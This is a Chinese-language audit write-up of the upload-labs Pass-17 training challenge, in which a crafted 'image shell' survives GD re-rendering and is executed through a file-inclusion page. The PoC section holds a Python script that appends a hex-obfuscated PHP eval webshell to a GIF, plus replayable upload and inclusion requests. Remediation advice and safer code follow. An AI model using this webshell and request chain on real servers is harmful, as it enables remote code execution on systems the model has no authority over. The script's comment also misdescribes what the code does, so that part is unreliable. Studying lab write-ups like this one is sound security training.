upload-labs 文件上传漏洞靶场代码审计报告
一、靶场信息
| 项目 | 内容 |
|---|---|
| 靶场名称 | upload-labs |
| 关卡编号 | Pass-17 |
| 漏洞类型 | 二次渲染绕过 + 文件包含执行 |
| 审计日期 | 2026-08-09 |
| 目标文件 | Pass-17/index.php |
二、漏洞概述
Pass-17 在上传图片后,使用 imagecreatefromjpeg()、imagecreatefrompng()、imagecreatefromgif() 读取上传的图片,然后使用 imagejpeg()、imagepng()、imagegif() 重新生成一张新图片。该过程称为二次渲染,目的是清除图片中可能嵌入的恶意代码。然而,攻击者可以通过精心构造图片马,使 PHP 代码在二次渲染后仍然保留在图片中,从而绕过渲染保护,并通过文件包含漏洞执行代码。
- 危险等级:中高危
- 影响范围:可上传图片马并通过文件包含漏洞执行任意 PHP 代码
三、问题代码位置
文件路径:Pass-17/index.php
问题代码片段(第 20-88 行,以 GIF 为例):
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}
四、漏洞分析
4.1 为什么存在这个问题
二次渲染确实可以清除大部分简单嵌入的 PHP 代码,但并不意味着绝对安全。攻击者可以通过分析图片文件结构,将 PHP 代码插入到不会被 GD 库重新生成的区域(如 GIF 文件的注释块、PNG 文件的文本块等)。特别是 GIF 格式,由于其结构特性,较容易构造出绕过二次渲染的图片马。
4.2 校验逻辑缺陷
- 二次渲染虽然增强了安全性,但未能完全清除嵌入代码。
- 未对上传目录的文件包含访问进行限制。
- 上传后的图片仍可通过
include.php被包含执行。
五、利用思路
- 构造能够抵抗二次渲染的图片马。常见方法:
- 使用工具生成 GIF 图片马,将 PHP 代码放入 GIF 注释块等不会被渲染清除的位置。
- 对比渲染前后的图片,找出差异区域,将 PHP 代码插入到保留区域。
- 上传图片马,服务端二次渲染后保存为新图片。
- 访问
include.php?file=upload/xxxxx.gif,执行图片马中保留的 PHP 代码。
六、POC(Yakit 可直接重放)
6.1 前提条件
- 靶场访问地址:
http://target.com/upload-labs/Pass-17/index.php - 文件包含漏洞页面:
http://target.com/upload-labs/include.php - 已准备好可抵抗二次渲染的图片马
shell.gif
6.2 构造 GIF 图片马
可以使用以下 Python 脚本或类似工具生成:
# 简单示例:在 GIF 注释块中插入 PHP 代码
with open('normal.gif', 'rb') as f:
data = f.read()
# 在 GIF 数据后追加 PHP 代码(部分环境可保留)
payload = b'\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e'
with open('shell.gif', 'wb') as f:
f.write(data + payload)
更稳定的做法是使用专门的 GIF 图片马生成工具,将 PHP 代码插入到不会被 imagecreatefromgif 清除的数据块中。
6.3 Yakit 重放 HTTP 请求包
POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.gif"
Content-Type: image/gif
[此处为可抵抗二次渲染的图片马二进制内容]
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--
6.4 利用步骤
- 生成可抵抗二次渲染的图片马。
- 在 Yakit 中新建 HTTP 请求,上传图片马。
- 修改
Host为实际靶场地址。 - 发送请求,服务端二次渲染后保存新图片。
- 返回页面显示新图片路径,例如
upload/12345.gif。 - 访问文件包含漏洞页面:
GET /upload-labs/include.php?file=upload/12345.gif HTTP/1.1
Host: target.com
- 使用 POST 请求发送
cmd=phpinfo();验证是否执行。
七、修复建议
- 强化二次渲染:确保渲染后的图片完全不包含原始文件中的非图像数据。
- 禁止动态包含上传文件:修复
include.php的文件包含漏洞,对包含路径进行白名单校验。 - 上传目录与应用代码隔离:避免上传文件被当作代码执行。
- 重命名上传文件:使用随机文件名。
- 内容安全策略:对图片文件进行更严格的格式校验。
安全代码示例
$tmp = $_FILES['upload_file']['tmp_name'];
$info = getimagesize($tmp);
if (!$info) {
die('文件不是有效图片');
}
// 二次渲染
$img = imagecreatefromstring(file_get_contents($tmp));
if (!$img) {
die('图片渲染失败');
}
$ext = image_type_to_extension($info[2]);
$new_name = md5(uniqid()) . $ext;
switch ($info[2]) {
case IMAGETYPE_GIF: imagegif($img, UPLOAD_PATH . '/' . $new_name); break;
case IMAGETYPE_JPEG: imagejpeg($img, UPLOAD_PATH . '/' . $new_name, 100); break;
case IMAGETYPE_PNG: imagepng($img, UPLOAD_PATH . '/' . $new_name); break;
default: die('不支持的图片类型');
}
imagedestroy($img);
// 同时修复 include.php,禁止包含上传目录文件
八、参考链接
- upload-labs 项目地址:https://github.com/c0ny1/upload-labs
- OWASP 文件上传漏洞说明:https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload